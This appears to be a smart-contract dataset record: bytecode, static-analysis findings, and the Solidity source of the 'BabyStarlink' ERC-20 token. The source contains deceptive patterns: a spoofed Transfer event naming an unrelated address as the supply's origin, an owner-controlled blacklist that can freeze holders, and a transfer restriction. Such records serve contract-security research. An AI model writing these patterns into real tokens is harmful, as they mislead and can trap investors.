ffffffffffffffffffffffffffffffff169060200190929190505050611743565b005b6040805190810160405280600281526020017f594f00000000000000000000000000000000000000000000000000000000000081525081565b6000808214806107a057506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107ab57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108fe5760009050610d69565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109c9575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109d55750600082115b8015610a0e5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610aaa5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aa783600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b8015610abb57506044600036905010155b1515610ac657600080fd5b610b1882600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bad82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7f82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1a57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600281526020017f594f00000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fd957600090506112ad565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156110285750600082115b80156110615750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110fd5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fa83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b801561110e57506044600036905010155b151561111957600080fd5b61116b82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115145780820151818401526020810190506114f9565b50505050905090810190601f1680156115415780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561156557600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167957600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118175780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156118325750828110155b151561183a57fe5b8091505092915050565b600082821115151561185257fe5b8183039050929150505600a165627a7a7230582096ec4c697dcbb07019f99ad0b626226ba2a8a4d883e966dd5ca248f87f1532c00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 4,196 |
0x0fa824d5a62a7b2acae8de7f3159f5312e3f91c5
|
/**
*Submitted for verification at Etherscan.io on 2021-08-08
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyStarlink is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Baby Starlink | t.me/BabyStarlinkERC";
string private constant _symbol = "BabyStarl";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 7;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "1");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 7;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ec3565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129e6565b610441565b6040516101789190612ea8565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613065565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612997565b610470565b6040516101e09190612ea8565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612909565b610549565b005b34801561021e57600080fd5b50610227610639565b60405161023491906130da565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a63565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612909565b610766565b6040516102b19190613065565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612dda565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612ec3565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129e6565b610970565b60405161035b9190612ea8565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a22565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ab5565b6110b5565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061295b565b6111ff565b6040516104189190613065565b60405180910390f35b606060405180606001604052806024815260200161379e60249139905090565b600061045561044e611286565b848461128e565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611459565b61053e84610489611286565b610539856040518060600160405280602881526020016137c260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611286565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c189092919063ffffffff16565b61128e565b600190509392505050565b610551611286565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612fa5565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611286565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612fa5565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611286565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611c7c565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d77565b9050919050565b6107bf611286565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612fa5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f42616279537461726c0000000000000000000000000000000000000000000000815250905090565b600061098461097d611286565b8484611459565b6001905092915050565b610996611286565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612fa5565b60405180910390fd5b60005b8151811015610ada576001600a6000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad29061337b565b915050610a26565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611286565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611de5565b50565b610b60611286565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612fa5565b60405180910390fd5b600f60149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490613005565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b9190612932565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de59190612932565b6040518363ffffffff1660e01b8152600401610e02929190612df5565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e549190612932565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612e47565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c9190612ade565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105f929190612e1e565b602060405180830381600087803b15801561107957600080fd5b505af115801561108d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b19190612a8c565b5050565b6110bd611286565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114190612fa5565b60405180910390fd5b6000811161118d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118490612f65565b60405180910390fd5b6111bd6127106111af83683635c9adc5dea000006120df90919063ffffffff16565b61215a90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f49190613065565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f590613025565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136590612f25565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144c9190613065565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c090612fe5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611539576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153090612ee5565b60405180910390fd5b6000811161157c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157390612fc5565b60405180910390fd5b61158461090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff